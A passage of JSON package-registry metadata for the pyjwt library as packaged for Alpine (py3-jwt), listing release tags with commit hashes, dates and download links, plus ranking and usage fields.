pendency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:33.848Z","dependent_packages_count":2,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":3.393080776455855,"stargazers_count":3.1034752661239824,"forks_count":3.948810269254853,"average":2.6113415779586724},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=edge","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/